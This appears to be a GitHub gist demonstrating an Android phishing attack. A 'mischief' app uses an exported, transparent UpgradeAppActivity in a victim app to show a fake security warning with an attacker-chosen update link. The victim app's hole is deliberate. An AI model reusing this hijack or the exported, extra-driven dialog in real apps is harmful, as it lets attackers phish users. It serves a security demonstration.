Skip to content

Instantly share code, notes, and snippets.

@ktchernov
Last active June 18, 2019 21:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ktchernov/3b8ae2b7978a0043b533fd209c727e9a to your computer and use it in GitHub Desktop.
Save ktchernov/3b8ae2b7978a0043b533fd209c727e9a to your computer and use it in GitHub Desktop.
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
setSupportActionBar(toolbar)
val packages
= packageManager.getInstalledApplications(PackageManager.GET_META_DATA)
packages.forEach {
Log.d(TAG, "Package: ${it.packageName}, source: ${it.sourceDir}")
}
fab.setOnClickListener {
doMischief()
}
}
private fun doMischief() {
val mainIntent = Intent(Intent.ACTION_MAIN)
mainIntent.setClassName(
"io.github.ktchernov.myinnocentapp",
"io.github.ktchernov.myinnocentapp.ui.login.LoginActivity"
)
mainIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.or(Intent.FLAG_ACTIVITY_CLEAR_TASK))
applicationContext.startActivity(mainIntent)
Handler().postDelayed( {
val messageIntent = Intent()
messageIntent.setClassName("io.github.ktchernov.myinnocentapp",
"io.github.ktchernov.myinnocentapp.ui.login.UpgradeAppActivity")
messageIntent.putExtra("MESSAGE_TITLE",
"Problem Detected!")
messageIntent.putExtra("MESSAGE_TEXT",
"This text has been replaced by the malicious app! Please PRESS THE UPDATE BUTTON TO SECURE YOUR ACCOUNT!")
messageIntent.putExtra("STORE_URI",
Uri.parse("https://cdna.artstation.com/p/assets/images/images/003/934/042/large/sarfaraz-yeaseen-defaultdramatic-00000.jpg"))
messageIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
applicationContext.startActivity(messageIntent)
}, 10000)
}
override fun onCreateOptionsMenu(menu: Menu): Boolean {
// Inflate the menu; this adds items to the action bar if it is present.
menuInflater.inflate(R.menu.menu_main, menu)
return true
}
override fun onOptionsItemSelected(item: MenuItem): Boolean {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
return when (item.itemId) {
R.id.action_settings -> true
else -> super.onOptionsItemSelected(item)
}
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="io.github.ktchernov.myinnocentapp">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity
android:exported="true"
android:theme="@style/TransparentActivity"
android:name=".ui.login.UpgradeAppActivity"/>
<activity
android:name=".ui.login.LoginActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
package io.github.ktchernov.myinnocentapp.ui.login
import android.app.Activity
import android.content.Intent
import android.net.Uri
import androidx.lifecycle.Observer
import androidx.lifecycle.ViewModelProviders
import android.os.Bundle
import androidx.annotation.StringRes
import androidx.appcompat.app.AppCompatActivity
import android.text.Editable
import android.text.TextWatcher
import android.view.View
import android.view.inputmethod.EditorInfo
import android.widget.Button
import android.widget.EditText
import android.widget.ProgressBar
import android.widget.Toast
import io.github.ktchernov.myinnocentapp.R
class LoginActivity : AppCompatActivity() {
private lateinit var loginViewModel: LoginViewModel
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_login)
val username = findViewById<EditText>(R.id.username)
val password = findViewById<EditText>(R.id.password)
val login = findViewById<Button>(R.id.login)
val loading = findViewById<ProgressBar>(R.id.loading)
val updateButton = findViewById<Button>(R.id.update_button)
loginViewModel = ViewModelProviders.of(this, LoginViewModelFactory())
.get(LoginViewModel::class.java)
loginViewModel.loginFormState.observe(this@LoginActivity, Observer {
val loginState = it ?: return@Observer
// disable login button unless both username / password is valid
login.isEnabled = loginState.isDataValid
if (loginState.usernameError != null) {
username.error = getString(loginState.usernameError)
}
if (loginState.passwordError != null) {
password.error = getString(loginState.passwordError)
}
})
loginViewModel.loginResult.observe(this@LoginActivity, Observer {
val loginResult = it ?: return@Observer
loading.visibility = View.GONE
if (loginResult.error != null) {
showLoginFailed(loginResult.error)
}
if (loginResult.success != null) {
updateUiWithUser(loginResult.success)
}
setResult(Activity.RESULT_OK)
//Complete and destroy login activity once successful
finish()
})
username.afterTextChanged {
loginViewModel.loginDataChanged(
username.text.toString(),
password.text.toString()
)
}
password.apply {
afterTextChanged {
loginViewModel.loginDataChanged(
username.text.toString(),
password.text.toString()
)
}
setOnEditorActionListener { _, actionId, _ ->
when (actionId) {
EditorInfo.IME_ACTION_DONE ->
loginViewModel.login(
username.text.toString(),
password.text.toString()
)
}
false
}
login.setOnClickListener {
loading.visibility = View.VISIBLE
loginViewModel.login(username.text.toString(), password.text.toString())
}
}
updateButton.setOnClickListener {
Intent(this, UpgradeAppActivity::class.java).apply {
putExtra("MESSAGE_TITLE",
"New App Version!")
putExtra("MESSAGE_TEXT",
"Please update your app to get the latest and greatest features!")
putExtra("STORE_URI",
Uri.parse("https://play.google.com/store/apps/details?id=com.microsoft.bing"))
startActivity(this)
}
}
}
private fun updateUiWithUser(model: LoggedInUserView) {
val welcome = getString(R.string.welcome)
val displayName = model.displayName
// TODO : initiate successful logged in experience
Toast.makeText(
applicationContext,
"$welcome $displayName",
Toast.LENGTH_LONG
).show()
}
private fun showLoginFailed(@StringRes errorString: Int) {
Toast.makeText(applicationContext, errorString, Toast.LENGTH_SHORT).show()
}
}
/**
* Extension function to simplify setting an afterTextChanged action to EditText components.
*/
fun EditText.afterTextChanged(afterTextChanged: (String) -> Unit) {
this.addTextChangedListener(object : TextWatcher {
override fun afterTextChanged(editable: Editable?) {
afterTextChanged.invoke(editable.toString())
}
override fun beforeTextChanged(s: CharSequence, start: Int, count: Int, after: Int) {}
override fun onTextChanged(s: CharSequence, start: Int, before: Int, count: Int) {}
})
}
<resources>
<!-- Base application theme. -->
<style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
<!-- Customize your theme here. -->
<item name="colorPrimary">@color/colorPrimary</item>
<item name="colorPrimaryDark">@color/colorPrimaryDark</item>
<item name="colorAccent">@color/colorAccent</item>
</style>
<style name="TransparentActivity" parent="AppTheme">
<item name="android:windowNoTitle">true</item>
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:colorBackgroundCacheHint">@null</item>
<item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowTranslucentStatus">true</item>
<item name="android:statusBarColor">@android:color/transparent</item>
</style>
</resources>
package io.github.ktchernov.myinnocentapp.ui.login
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.appcompat.app.AlertDialog
import android.content.Intent
import android.net.Uri
class UpgradeAppActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val updateTitle = intent?.extras?.getString("MESSAGE_TITLE")
val updateText = intent?.extras?.getString("MESSAGE_TEXT")
val appStoreUri = intent?.extras?.getParcelable<Uri>("STORE_URI")
AlertDialog.Builder(this)
.setTitle(updateTitle)
.setMessage(updateText)
.setPositiveButton("Update") { _, _ ->
val openLinkIntent = Intent(Intent.ACTION_VIEW, appStoreUri)
startActivity(openLinkIntent)
}
.show()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment